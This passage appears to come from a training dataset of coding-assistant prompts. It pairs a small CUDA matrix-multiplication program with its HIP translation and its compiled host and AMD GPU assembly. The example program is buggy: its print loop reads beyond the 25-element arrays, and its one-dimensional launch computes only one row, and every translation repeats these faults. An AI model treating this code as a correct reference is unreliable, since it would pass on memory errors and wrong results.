cudaMemcpy(d_A, h_A, size, cudaMemcpyHostToDevice);
cudaMemcpy(d_B, h_B, size, cudaMemcpyHostToDevice);
int threadsPerBlock = 256;
int blocksPerGrid = (N + threadsPerBlock - 1) / threadsPerBlock;
matMul<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, nFil, nCol);
cudaMemcpy(h_C, d_C, size, cudaMemcpyDeviceToHost);
printf("\n\nMatriz resultante:\n");
for(int i = 0; i < N; i++){
for(int j = 0; j < N; j++){
printf("%.2f", h_C[i*nCol+j]);
}
printf("\n");
}
cudaFree(d_A);
cudaFree(d_B);
cudaFree(d_C);
free(h_A);
free(h_B);
free(h_C);
return(0);
} | .file "tmpxft_0007a1ed_00000000-6_MultMatrix.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2060:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
.type _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii, @function
_Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii:
.LFB2082:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movl %ecx, 4(%rsp)
movl %r8d, (%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
movq %rsp, %rax
movq %rax, 128(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z6matMulPfS_S_ii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2082:
.size _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii, .-_Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
.globl _Z6matMulPfS_S_ii
.type _Z6matMulPfS_S_ii, @function
_Z6matMulPfS_S_ii:
.LFB2083:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2083:
.size _Z6matMulPfS_S_ii, .-_Z6matMulPfS_S_ii
.section .rodata.str1.1,"aMS",@progbits,1
.LC2:
.string "\n\nMatriz resultante:\n"
.LC3:
.string "%.2f"
.LC4:
.string "\n"
.text
.globl main
.type main, @function
main:
.LFB2057:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $88, %rsp
.cfi_def_cfa_offset 144
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $100, %edi
call malloc@PLT
movq %rax, %r14
movl $100, %edi
call malloc@PLT
movq %rax, %r13
movl $100, %edi
call malloc@PLT
movq %rax, 8(%rsp)
movl $20, %edx
movss .LC0(%rip), %xmm1
movss .LC1(%rip), %xmm0
.L12:
leaq -20(%rdx), %rax
.L13:
movss %xmm1, (%r14,%rax)
movss %xmm0, 0(%r13,%rax)
addq $4, %rax
cmpq %rdx, %rax
jne .L13
addq $20, %rdx
cmpq $120, %rdx
jne .L12
leaq 24(%rsp), %rdi
movl $100, %esi
call cudaMalloc@PLT
leaq 32(%rsp), %rdi
movl $100, %esi
call cudaMalloc@PLT
leaq 40(%rsp), %rdi
movl $100, %esi
call cudaMalloc@PLT
movl $1, %ecx
movl $100, %edx
movq %r14, %rsi
movq 24(%rsp), %rdi
call cudaMemcpy@PLT
movl $1, %ecx
movl $100, %edx
movq %r13, %rsi
movq 32(%rsp), %rdi
call cudaMemcpy@PLT
movl $256, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 60(%rsp), %rdx
movl $1, %ecx
movq 48(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L23
.L15:
movl $2, %ecx
movl $100, %edx
movq 40(%rsp), %rsi
movq 8(%rsp), %rbx
movq %rbx, %rdi
call cudaMemcpy@PLT
leaq .LC2(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
leaq 100(%rbx), %rbp
leaq 600(%rbx), %r15
leaq .LC3(%rip), %r12
jmp .L16
.L23:
movl $5, %r8d
movl $5, %ecx
movq 40(%rsp), %rdx
movq 32(%rsp), %rsi
movq 24(%rsp), %rdi
call _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
jmp .L15
.L24:
leaq .LC4(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addq $20, %rbp
cmpq %r15, %rbp
je .L18
.L16:
leaq -100(%rbp), %rbx
.L17:
pxor %xmm0, %xmm0
cvtss2sd (%rbx), %xmm0
movq %r12, %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
addq $4, %rbx
cmpq %rbp, %rbx
jne .L17
jmp .L24
.L18:
movq 24(%rsp), %rdi
call cudaFree@PLT
movq 32(%rsp), %rdi
call cudaFree@PLT
movq 40(%rsp), %rdi
call cudaFree@PLT
movq %r14, %rdi
call free@PLT
movq %r13, %rdi
call free@PLT
movq 8(%rsp), %rdi
call free@PLT
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L25
movl $0, %eax
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L25:
.cfi_restore_state
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size main, .-main
.section .rodata.str1.1
.LC5:
.string "_Z6matMulPfS_S_ii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2085:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC5(%rip), %rdx
movq %rdx, %rcx
leaq _Z6matMulPfS_S_ii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2085:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.section .rodata.cst4,"aM",@progbits,4
.align 4
.LC0:
.long 1065353216
.align 4
.LC1:
.long 1073741824
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include <stdio.h>
#include <cuda_runtime.h>
__global__ void matMul(float* A, float* B, float* C, int nFil, int nCol)
{
int idx = blockDim.x * blockIdx.x + threadIdx.x;
int idy = blockDim.y * blockIdx.y + threadIdx.y;
int i = idx + idy * nCol;
if(idx < nCol && idy < nFil)
{
float sum = 0;
for(int k = 0; k < nCol; k++)
{
sum += A[idy * nCol + k] * B[k * nCol + idx];
}
C[i] = sum;
}
}
int main()
{
int nFil = 5;
int nCol = 5;
int N = nFil * nCol;
size_t size = N * sizeof(float);
float* h_A = (float*)malloc(size);
float* h_B = (float*)malloc(size);
float* h_C = (float*)malloc(size);
//Initialialize input vectors
for(int i = 0; i < nFil; i++)
{
for(int j = 0; j < nCol; j++)
{
h_A[i * nCol + j] = 1;
h_B[i * nCol + j] = 2;
}
}
float* d_A;
cudaMalloc(&d_A, size);
float* d_B;
cudaMalloc(&d_B, size);
float* d_C;
cudaMalloc(&d_C, size);
cudaMemcpy(d_A, h_A, size, cudaMemcpyHostToDevice);
cudaMemcpy(d_B, h_B, size, cudaMemcpyHostToDevice);
int threadsPerBlock = 256;
int blocksPerGrid = (N + threadsPerBlock - 1) / threadsPerBlock;
matMul<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, nFil, nCol);
cudaMemcpy(h_C, d_C, size, cudaMemcpyDeviceToHost);
printf("\n\nMatriz resultante:\n");
for(int i = 0; i < N; i++){
for(int j = 0; j < N; j++){
printf("%.2f", h_C[i*nCol+j]);
}
printf("\n");
}
cudaFree(d_A);
cudaFree(d_B);
cudaFree(d_C);
free(h_A);
free(h_B);
free(h_C);
return(0);
} | #include <stdio.h>
#include <hip/hip_runtime.h>
__global__ void matMul(float* A, float* B, float* C, int nFil, int nCol)
{
int idx = blockDim.x * blockIdx.x + threadIdx.x;
int idy = blockDim.y * blockIdx.y + threadIdx.y;
int i = idx + idy * nCol;
if(idx < nCol && idy < nFil)
{
float sum = 0;
for(int k = 0; k < nCol; k++)
{
sum += A[idy * nCol + k] * B[k * nCol + idx];
}
C[i] = sum;
}
}
int main()
{
int nFil = 5;
int nCol = 5;
int N = nFil * nCol;
size_t size = N * sizeof(float);
float* h_A = (float*)malloc(size);
float* h_B = (float*)malloc(size);
float* h_C = (float*)malloc(size);
//Initialialize input vectors
for(int i = 0; i < nFil; i++)
{
for(int j = 0; j < nCol; j++)
{
h_A[i * nCol + j] = 1;
h_B[i * nCol + j] = 2;
}
}
float* d_A;
hipMalloc(&d_A, size);
float* d_B;
hipMalloc(&d_B, size);
float* d_C;
hipMalloc(&d_C, size);
hipMemcpy(d_A, h_A, size, hipMemcpyHostToDevice);
hipMemcpy(d_B, h_B, size, hipMemcpyHostToDevice);
int threadsPerBlock = 256;
int blocksPerGrid = (N + threadsPerBlock - 1) / threadsPerBlock;
matMul<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, nFil, nCol);
hipMemcpy(h_C, d_C, size, hipMemcpyDeviceToHost);
printf("\n\nMatriz resultante:\n");
for(int i = 0; i < N; i++){
for(int j = 0; j < N; j++){
printf("%.2f", h_C[i*nCol+j]);
}
printf("\n");
}
hipFree(d_A);
hipFree(d_B);
hipFree(d_C);
free(h_A);
free(h_B);
free(h_C);
return(0);
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <stdio.h>
#include <hip/hip_runtime.h>
__global__ void matMul(float* A, float* B, float* C, int nFil, int nCol)
{
int idx = blockDim.x * blockIdx.x + threadIdx.x;
int idy = blockDim.y * blockIdx.y + threadIdx.y;
int i = idx + idy * nCol;
if(idx < nCol && idy < nFil)
{
float sum = 0;
for(int k = 0; k < nCol; k++)
{
sum += A[idy * nCol + k] * B[k * nCol + idx];
}
C[i] = sum;
}
}
int main()
{
int nFil = 5;
int nCol = 5;
int N = nFil * nCol;
size_t size = N * sizeof(float);
float* h_A = (float*)malloc(size);
float* h_B = (float*)malloc(size);
float* h_C = (float*)malloc(size);
//Initialialize input vectors
for(int i = 0; i < nFil; i++)
{
for(int j = 0; j < nCol; j++)
{
h_A[i * nCol + j] = 1;
h_B[i * nCol + j] = 2;
}
}
float* d_A;
hipMalloc(&d_A, size);
float* d_B;
hipMalloc(&d_B, size);
float* d_C;
hipMalloc(&d_C, size);
hipMemcpy(d_A, h_A, size, hipMemcpyHostToDevice);
hipMemcpy(d_B, h_B, size, hipMemcpyHostToDevice);
int threadsPerBlock = 256;
int blocksPerGrid = (N + threadsPerBlock - 1) / threadsPerBlock;
matMul<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, nFil, nCol);
hipMemcpy(h_C, d_C, size, hipMemcpyDeviceToHost);
printf("\n\nMatriz resultante:\n");
for(int i = 0; i < N; i++){
for(int j = 0; j < N; j++){
printf("%.2f", h_C[i*nCol+j]);
}
printf("\n");
}
hipFree(d_A);
hipFree(d_B);
hipFree(d_C);
free(h_A);
free(h_B);
free(h_C);
return(0);
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z6matMulPfS_S_ii
.globl _Z6matMulPfS_S_ii
.p2align 8
.type _Z6matMulPfS_S_ii,@function
_Z6matMulPfS_S_ii:
s_clause 0x1
s_load_b32 s4, s[0:1], 0x2c
s_load_b64 s[2:3], s[0:1], 0x18
v_and_b32_e32 v2, 0x3ff, v0
v_bfe_u32 v3, v0, 10, 10
s_waitcnt lgkmcnt(0)
s_and_b32 s5, s4, 0xffff
s_lshr_b32 s4, s4, 16
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_mad_u64_u32 v[0:1], null, s14, s5, v[2:3]
v_mad_u64_u32 v[1:2], null, s15, s4, v[3:4]
v_cmp_gt_i32_e32 vcc_lo, s3, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cmp_gt_i32_e64 s2, s2, v1
s_and_b32 s2, vcc_lo, s2
s_delay_alu instid0(SALU_CYCLE_1)
s_and_saveexec_b32 s4, s2
s_cbranch_execz .LBB0_6
v_mul_lo_u32 v1, v1, s3
s_cmp_lt_i32 s3, 1
s_cbranch_scc1 .LBB0_4
s_load_b128 s[4:7], s[0:1], 0x0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_3) | instid1(VALU_DEP_3)
v_ashrrev_i32_e32 v2, 31, v1
v_mov_b32_e32 v6, 0
v_mov_b32_e32 v4, v0
s_mov_b32 s2, s3
v_lshlrev_b64 v[2:3], 2, v[1:2]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v2, vcc_lo, s4, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s5, v3, vcc_lo
.p2align 6
.LBB0_3:
v_ashrrev_i32_e32 v5, 31, v4
s_add_i32 s2, s2, -1
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_1)
s_cmp_eq_u32 s2, 0
v_lshlrev_b64 v[7:8], 2, v[4:5]
v_add_nc_u32_e32 v4, s3, v4
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_co_u32 v7, vcc_lo, s6, v7
v_add_co_ci_u32_e32 v8, vcc_lo, s7, v8, vcc_lo
global_load_b32 v5, v[2:3], off
global_load_b32 v7, v[7:8], off
v_add_co_u32 v2, vcc_lo, v2, 4
v_add_co_ci_u32_e32 v3, vcc_lo, 0, v3, vcc_lo
s_waitcnt vmcnt(0)
v_fmac_f32_e32 v6, v5, v7
s_cbranch_scc0 .LBB0_3
s_branch .LBB0_5
.LBB0_4:
v_mov_b32_e32 v6, 0
.LBB0_5:
s_load_b64 s[0:1], s[0:1], 0x10
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_nc_u32_e32 v0, v1, v0
v_ashrrev_i32_e32 v1, 31, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 2, v[0:1]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s0, v0
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_store_b32 v[0:1], v6, off
.LBB0_6:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z6matMulPfS_S_ii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 14
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 1
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 1
.amdhsa_next_free_vgpr 9
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z6matMulPfS_S_ii, .Lfunc_end0-_Z6matMulPfS_S_ii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 28
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z6matMulPfS_S_ii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z6matMulPfS_S_ii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 9
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <stdio.h>
#include <hip/hip_runtime.h>
__global__ void matMul(float* A, float* B, float* C, int nFil, int nCol)
{
int idx = blockDim.x * blockIdx.x + threadIdx.x;
int idy = blockDim.y * blockIdx.y + threadIdx.y;
int i = idx + idy * nCol;
if(idx < nCol && idy < nFil)
{
float sum = 0;
for(int k = 0; k < nCol; k++)
{
sum += A[idy * nCol + k] * B[k * nCol + idx];
}
C[i] = sum;
}
}
int main()
{
int nFil = 5;
int nCol = 5;
int N = nFil * nCol;
size_t size = N * sizeof(float);
float* h_A = (float*)malloc(size);
float* h_B = (float*)malloc(size);
float* h_C = (float*)malloc(size);
//Initialialize input vectors
for(int i = 0; i < nFil; i++)
{
for(int j = 0; j < nCol; j++)
{
h_A[i * nCol + j] = 1;
h_B[i * nCol + j] = 2;
}
}
float* d_A;
hipMalloc(&d_A, size);
float* d_B;
hipMalloc(&d_B, size);
float* d_C;
hipMalloc(&d_C, size);
hipMemcpy(d_A, h_A, size, hipMemcpyHostToDevice);
hipMemcpy(d_B, h_B, size, hipMemcpyHostToDevice);
int threadsPerBlock = 256;
int blocksPerGrid = (N + threadsPerBlock - 1) / threadsPerBlock;
matMul<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, nFil, nCol);
hipMemcpy(h_C, d_C, size, hipMemcpyDeviceToHost);
printf("\n\nMatriz resultante:\n");
for(int i = 0; i < N; i++){
for(int j = 0; j < N; j++){
printf("%.2f", h_C[i*nCol+j]);
}
printf("\n");
}
hipFree(d_A);
hipFree(d_B);
hipFree(d_C);
free(h_A);
free(h_B);
free(h_C);
return(0);
} | .text
.file "MultMatrix.hip"
.globl _Z21__device_stub__matMulPfS_S_ii # -- Begin function _Z21__device_stub__matMulPfS_S_ii
.p2align 4, 0x90
.type _Z21__device_stub__matMulPfS_S_ii,@function
_Z21__device_stub__matMulPfS_S_ii: # @_Z21__device_stub__matMulPfS_S_ii
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
movl %ecx, 4(%rsp)
movl %r8d, (%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 4(%rsp), %rax
movq %rax, 104(%rsp)
movq %rsp, %rax
movq %rax, 112(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z6matMulPfS_S_ii, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z21__device_stub__matMulPfS_S_ii, .Lfunc_end0-_Z21__device_stub__matMulPfS_S_ii
.cfi_endproc
# -- End function
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $152, %rsp
.cfi_def_cfa_offset 208
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl $100, %edi
callq malloc
movq %rax, %rbx
movl $100, %edi
callq malloc
movq %rax, %r14
movl $100, %edi
callq malloc
movq %rax, %r15
xorl %eax, %eax
movq %rbx, %rcx
movq %r14, %rdx
.p2align 4, 0x90
.LBB1_1: # %.preheader57
# =>This Loop Header: Depth=1
# Child Loop BB1_2 Depth 2
xorl %esi, %esi
.p2align 4, 0x90
.LBB1_2: # Parent Loop BB1_1 Depth=1
# => This Inner Loop Header: Depth=2
movl $1065353216, (%rcx,%rsi,4) # imm = 0x3F800000
movl $1073741824, (%rdx,%rsi,4) # imm = 0x40000000
incq %rsi
cmpq $5, %rsi
jne .LBB1_2
# %bb.3: # in Loop: Header=BB1_1 Depth=1
incq %rax
addq $20, %rdx
addq $20, %rcx
cmpq $5, %rax
jne .LBB1_1
# %bb.4:
leaq 24(%rsp), %rdi
movl $100, %esi
callq hipMalloc
leaq 16(%rsp), %rdi
movl $100, %esi
callq hipMalloc
leaq 8(%rsp), %rdi
movl $100, %esi
callq hipMalloc
movq 24(%rsp), %rdi
movl $100, %edx
movq %rbx, %rsi
movl $1, %ecx
callq hipMemcpy
movq 16(%rsp), %rdi
movl $100, %edx
movq %r14, %rsi
movl $1, %ecx
callq hipMemcpy
movabsq $4294967297, %rdi # imm = 0x100000001
leaq 255(%rdi), %rdx
movl $1, %esi
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB1_6
# %bb.5:
movq 24(%rsp), %rax
movq 16(%rsp), %rcx
movq 8(%rsp), %rdx
movq %rax, 104(%rsp)
movq %rcx, 96(%rsp)
movq %rdx, 88(%rsp)
movl $5, 36(%rsp)
movl $5, 32(%rsp)
leaq 104(%rsp), %rax
movq %rax, 112(%rsp)
leaq 96(%rsp), %rax
movq %rax, 120(%rsp)
leaq 88(%rsp), %rax
movq %rax, 128(%rsp)
leaq 36(%rsp), %rax
movq %rax, 136(%rsp)
leaq 32(%rsp), %rax
movq %rax, 144(%rsp)
leaq 72(%rsp), %rdi
leaq 56(%rsp), %rsi
leaq 48(%rsp), %rdx
leaq 40(%rsp), %rcx
callq __hipPopCallConfiguration
movq 72(%rsp), %rsi
movl 80(%rsp), %edx
movq 56(%rsp), %rcx
movl 64(%rsp), %r8d
leaq 112(%rsp), %r9
movl $_Z6matMulPfS_S_ii, %edi
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
pushq 56(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB1_6:
movq 8(%rsp), %rsi
movl $100, %edx
movq %r15, %rdi
movl $2, %ecx
callq hipMemcpy
movl $.Lstr, %edi
callq puts@PLT
xorl %r12d, %r12d
movq %r15, %r13
.p2align 4, 0x90
.LBB1_7: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB1_8 Depth 2
xorl %ebp, %ebp
.p2align 4, 0x90
.LBB1_8: # Parent Loop BB1_7 Depth=1
# => This Inner Loop Header: Depth=2
movss (%r13,%rbp,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movl $.L.str.1, %edi
movb $1, %al
callq printf
incq %rbp
cmpq $25, %rbp
jne .LBB1_8
# %bb.9: # in Loop: Header=BB1_7 Depth=1
movl $10, %edi
callq putchar@PLT
incq %r12
addq $20, %r13
cmpq $25, %r12
jne .LBB1_7
# %bb.10:
movq 24(%rsp), %rdi
callq hipFree
movq 16(%rsp), %rdi
callq hipFree
movq 8(%rsp), %rdi
callq hipFree
movq %rbx, %rdi
callq free
movq %r14, %rdi
callq free
movq %r15, %rdi
callq free
xorl %eax, %eax
addq $152, %rsp
